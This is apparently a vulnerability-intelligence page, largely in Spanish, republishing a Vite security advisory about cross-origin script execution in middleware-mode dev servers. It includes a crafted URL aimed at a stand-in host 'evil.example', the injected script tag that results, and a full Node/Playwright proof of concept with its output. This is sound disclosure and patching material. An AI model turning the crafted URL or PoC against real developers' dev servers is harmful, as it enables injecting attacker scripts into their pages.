llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · vite

GHSA-9JRQ-W75R-8GCW

Vite: Cross origin script execution through Vite custom middleware

Parche disponible
Descargar PNG JSON
CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche6 versionesPrimer parche a -15 d de la divulgación
Exposición29 dDesde la divulgación, 21 oct 2026, 11:48 a. m.
Detección26 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 6.4.4 +4
Parche 1.1.0
Monitoreo
Detectada
6 oct 26
7 oct 26
21 oct 26
17 nov 26
19 nov 26
6 oct 26
17 oct 26
28 oct 26
8 nov 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 6.4.4 vite · -15 d desde divulgación
Remediación Parche 7.3.7 vite · -15 d desde divulgación
Remediación Parche 8.1.6 vite · -15 d desde divulgación
Remediación Parche 8.2.4 vite · -15 d desde divulgación
Remediación Parche 8.3.3 vite · -15 d desde divulgación
Remediación Parche 1.1.0 vite-plus · -14 d desde divulgación
Divulgación Publicada GHSA-9JRQ-W75R-8GCW divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details

Vite's SSR guide for 8.2.1 https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at `http://localhost:5173`, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, `createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts` https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115 use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.

Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.

The existing file branch in `indexHtml.ts` https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232 checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. The inline module rewrite in the same file https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278 writes that value into the generated `src`:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
vite-plus< 1.1.0
vite< 6.4.4
vite≥ 7.0.0 < 7.3.7
vite≥ 8.0.0 < 8.1.6
vite≥ 8.2.0 < 8.2.4
vite≥ 8.3.0 < 8.3.3
1.1.0
1.6.0
6.4.4
7.0.0
7.3.7
8.0.0
8.1.6
8.2.0
8.2.4
8.3.0
8.3.3
8.3.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmvite
Corregida 6.4.4, 7.3.7, 8.1.6, 8.2.4, 8.3.3 -15 d · -15 d · -15 d · -15 d · -15 d 8.3.8 no afectada
npmvite-plus
Corregida 1.1.0 -14 d 1.6.0 no afectada
Versiones corregidas1.1.06.4.47.3.78.1.68.2.48.3.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-112945
Otrahttps://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw
Otrahttps://github.com/vitejs/vite/pull/23653
Otrahttps://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17
Otrahttps://github.com/vitejs/vite

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.